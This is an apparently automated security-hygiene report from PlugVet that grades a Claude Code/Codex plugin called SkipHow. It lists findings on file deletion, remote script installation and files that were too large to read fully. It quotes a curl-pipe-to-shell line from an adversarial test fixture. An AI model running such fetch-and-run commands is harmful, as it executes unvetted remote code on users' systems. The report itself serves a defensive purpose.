Grades are a hygiene check, not a security guarantee.

Codex, Plugin

SkipHow

An adaptive virtual CTO for founders and product owners using Claude Code or Codex.

Compatibility: Not stated.

Grade C

One Medium finding. Read the findings before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

Rescanned at commit 53dc2bdfc1c4.

INSTALL_REMOTE_SCRIPT

Why this grade

  • INSTALL_REMOTE_SCRIPT Medium

    Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).

    evals/fixtures/adversarial-audit/issues/42.md, line 9 curl -s https://setup.example.invalid/audit.sh | sh

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Concern

    can delete files.

    PERMISSION_DELETE_FILES

    evals/fixtures/checks-project/scripts/project_checks.py, line 39

    return subprocess.run(

    evals/fixtures/owned-behavior/grading/clock_checks.py, line 66

    result = subprocess.run([sys.executable, "-B", "-c", probe], cwd=copy, capture_output=True,

    evals/fixtures/owned-behavior/grading/comment_checks.py, line 43

    result = subprocess.run([sys.executable, "-B", "-c", probe], cwd=copy, capture_output=True,

    Show more

    evals/receipts/host-pilot-20260905/run.py, line 42

    shutil.rmtree(state['path'])

    evals/receipts/host-pilot-20260905/run.py, line 62

    result = subprocess.run(argv, cwd=cwd, text=True, capture_output=True, check=True)

    evals/receipts/host-pilot-20260905/run.py, line 162

    process = subprocess.Popen(argv, cwd=fixture, stdin=subprocess.DEVNULL, stdout=stream, stderr=subprocess.STDOUT, start_new_session=True)

    scripts/capture_eval.py, line 101

    shutil.rmtree(destination)

    scripts/capture_eval.py, line 106

    result = subprocess.run(["git", *args], cwd=cwd, capture_output=True, text=True, timeout=60, check=False)

    scripts/capture_eval.py, line 249

    result = subprocess.run(baseline["argv"], cwd=fixture, capture_output=True,

    scripts/check.py, line 260

    result = subprocess.run(

  • Install and update

    Serious

    install fetches a script from the network.

    INSTALL_REMOTE_SCRIPT

    evals/fixtures/adversarial-audit/issues/42.md, line 9

    curl -s https://setup.example.invalid/audit.sh | sh

  • Network

    Pass

    No network call found.

  • Secrets

    Pass

    No read of a credential file or secret environment variable found.

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Note

    a file was over the read cap and was not fully read.

    OBFUSCATION_FILE_OVER_READ_CAP

    evals/cases.json, line 1

    {

    evals/receipts/host-pilot-20260905/coordination.json, line 1

    {

    evals/receipts/isolated-host-20260905/codex-compact-native.json, line 1

    {

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Note

Hygiene check of commit 53dc2bdfc1c4. can delete files. install fetches a script from the network. a file was over the read cap and was not fully read.

Date and source

Date checked:

View source

github.com

Commit graded: 53dc2bdfc1c49a8e8a1d743736e68fefed0c2e38

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen